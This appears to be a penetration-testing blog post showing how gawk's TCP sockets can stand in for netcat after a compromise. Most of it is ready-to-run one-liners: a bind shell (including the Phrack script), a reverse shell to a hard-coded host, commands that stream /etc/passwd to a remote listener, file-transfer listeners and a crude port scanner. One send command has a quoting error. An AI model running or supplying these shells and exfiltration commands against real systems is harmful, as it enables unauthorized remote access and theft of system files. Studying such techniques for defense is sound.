You can use gawk
to sling shells and files across a network similar to how one would with netcat
. gawk
is often present on Linux systems that do not have netcat
installed, which can be quite useful in certain situations.
I first read about using gawk
for this a long time ago (2004!) in a Phrack article by the grugq. gawk’s utility as a post-exploitation tool is well-documented in the GTFObins project.
The TCP/IP Internetworking With gawk
manual provides documentation on how to use sockets with gawk
. With some imagination and effort, one could use gawk
as a port scanner, command and control mechanism, and get into all sorts of mischief.
Sektor7’s blog has some neat examples of abusing gawk
in this manner, using UDP and encoding traffic with base64.
Bind Shell
Here is the verbatim example from the Phrack article linked above
[------------------------------------------------------------------------]
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
[------------------------------------------------------------------------]
I don’t use bind shells very often, but this is the earliest example of using gawk in this manner that I have seen, and what inspired me to explore gawk
a bit more.
This example can be shortened into a one-liner:
gawk 'BEGIN{P=8080;T="> ";V="/inet/tcp/"P"/0/0";while(1){do{printf T|&V;V|&getline c;if(c){while((c|&getline)>0){print $0|&V;};close(c);}}while(c!="exit"){close(v)}}}'
Reverse Shell
Here is a one-liner to use gawk
as a reverse shell:
gawk 'BEGIN {P=443;S="> ";H="192.168.1.100";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")close(V)}}'
Sending Data
First set up a listener on the host you wish to receive the data:
nc -lnvp 4444 > output
Next, use gawk
to send the file to this host:
cat /etc/passwd | gawk 'BEGIN {P=4444;H=192.168.1.100";V="/inet/tcp/0/"H"/"P;while(getline c)print c|&V}'
The contents of /etc/passwd
should now be in output
on the receiving host.
Receiving Data (bind shell)
Set up the listener with gawk
to receive data, redirecting output to /tmp/foo
:
gawk 'BEGIN {P=4444;S="/inet/tcp/"P"/0/0";while(S |&getline c)print c}' >/tmp/foo
Send data to the gawk
listener using netcat
:
cat /etc/passwd | nc -q 0 192.168.1.100 4444
Receiving Data (reverse shell)
Serve a file with netcat
:
cat /etc/passwd |nc -Nnlvp 4444
Get this file with gawk
:
gawk 'BEGIN {P=4444;H="192.168.1.100";V="/inet/tcp/0/"H"/"P;while(V|&getline c)if(c)print c}' > /tmp/foo
Port Scanner
Using gawk
as a crude port scanner:
gawk 'BEGIN {H="127.0.0.1";for (i=1; i <= 1024; i++){V="/inet/tcp/0/"H"/"i;PROCINFO[V, "READ_TIMEOUT"] = 100;V|&getline; if(ERRNO != "Connection timed out"){continue}else{print(i" open");close(V)}}}'